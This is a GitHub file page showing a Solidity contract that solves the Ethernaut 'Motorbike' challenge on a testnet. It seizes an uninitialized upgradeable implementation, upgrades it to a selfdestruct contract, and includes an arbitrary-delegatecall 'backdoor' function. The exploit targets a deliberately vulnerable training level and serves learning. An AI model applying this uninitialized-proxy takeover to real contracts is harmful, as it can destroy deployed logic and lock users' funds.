-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathExploit.sol
More file actions
67 lines (55 loc) · 2.57 KB
/
Copy pathExploit.sol
File metadata and controls
67 lines (55 loc) · 2.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./MotorbikeInterface.sol";
import "./AddressHelper.sol";
contract MotorbikeExploit is AddressHelper {
address public immutable owner;
address constant selfdestructContract = 0xA0e5F6ae6637230CCfE5d782647B673F23036763;
address constant ethernaut = 0xa3e7317E591D5A0F1c605be1b3aC4D2ae56104d6;
address constant motorbikeLevel = 0x3A78EE8462BD2e31133de2B8f1f9CBD973D6eDd6;
address engine;
address motorbike;
modifier onlyOwner() {
require(msg.sender == owner, "owner");
_;
}
constructor() {
owner = msg.sender;
}
// The nonce can be obtained by using `cast nonce $LEVEL -r $RPC`, where $LEVEL is the motorbike level address
// We can also get the nonce using `getNonce(motorbikeLevel)`
// However, since the nonce is too big, the call may be reverted.
// https://sepolia.etherscan.io/tx/0x6501dc5cbaf7e7851462bae7c675bfc8bfdda672966e446f3a377f0e1f917156
function solve(uint256 nonce) public onlyOwner returns (address) {
createLevelInstance();
// uint256 nonce = getNonce(motorbikeLevel);
engine = computeCreateAddress(motorbikeLevel, nonce);
motorbike = computeCreateAddress(motorbikeLevel, nonce + 1);
selfdestructEngine(Engine(engine));
// We should not submit the level within the same transaction since it uses [Address.isContract] to check if we pass. Therefore, we need to call it manually.
// submitLevelInstance();
return motorbike;
}
function createLevelInstance() public onlyOwner {
// create a new Motorbike instance
(bool success,) = ethernaut.call(abi.encodeWithSignature("createLevelInstance(address)", motorbikeLevel));
require(success, "Failed to create level instance");
}
function submitLevelInstance() public onlyOwner {
// submit the instance
(bool success,) = ethernaut.call(abi.encodeWithSignature("submitLevelInstance(address)", motorbike));
require(success, "Failed to submit level instance");
}
function selfdestructEngine(Engine e) private {
// We need to initialize to become upgrader, then upgrade
// This works because we're in the same transaction as creation
// so selfdestruct will still delete the code
e.initialize();
e.upgradeToAndCall(selfdestructContract, "Ching367436");
}
function backdoor(address implemetation) external payable onlyOwner {
assembly {
let ret := delegatecall(gas(), implemetation, 0, 0, 0, 0)
}
}
}